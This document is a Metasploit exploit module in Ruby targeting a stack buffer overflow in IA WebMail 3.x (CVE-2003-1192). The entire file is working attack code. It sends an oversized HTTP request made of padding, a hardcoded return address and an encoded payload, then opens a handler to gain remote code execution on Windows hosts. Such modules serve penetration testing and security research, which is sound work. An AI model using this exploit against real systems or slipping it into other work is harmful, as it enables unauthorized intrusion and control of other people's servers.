IA WebMail 3.x - Buffer Overflow



##

# $Id: ia_webmail.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'IA WebMail 3.x Buffer Overflow',
            'Description'    => %q{
                    This exploits a stack buffer overflow in the IA WebMail server.
                This exploit has not been tested against a live system at
                this time.
            },
            'Author'         => [ 'hdm' ],
            'Version'        => '$Revision: 9262 $',
            'References'     =>
                [
                    [ 'CVE', '2003-1192'],
                    [ 'OSVDB', '2757'],
                    [ 'BID', '8965'],
                    [ 'URL', 'http://www.k-otik.net/exploits/11.19.iawebmail.pl.php'],
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'Space'       => 1024,
                    'DisableNops' => true,
                    'BadChars'    => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [
                        'IA WebMail 3.x',
                        {
                            'Ret'    => 0x1002bd33,
                            'Length' => 1036
                        },
                    ]
                ],
            'DisclosureDate' => 'Nov 3 2003',
            'DefaultTarget'  => 0))
    end

    def exploit
        print_status("Sending request...")

        send_request_raw({
            'uri' =>
                "/" + ("o" * target['Length']) +
                "META" +
                [target.ret].pack('V') +
                payload.encoded
        }, 2)

        handler
    end

end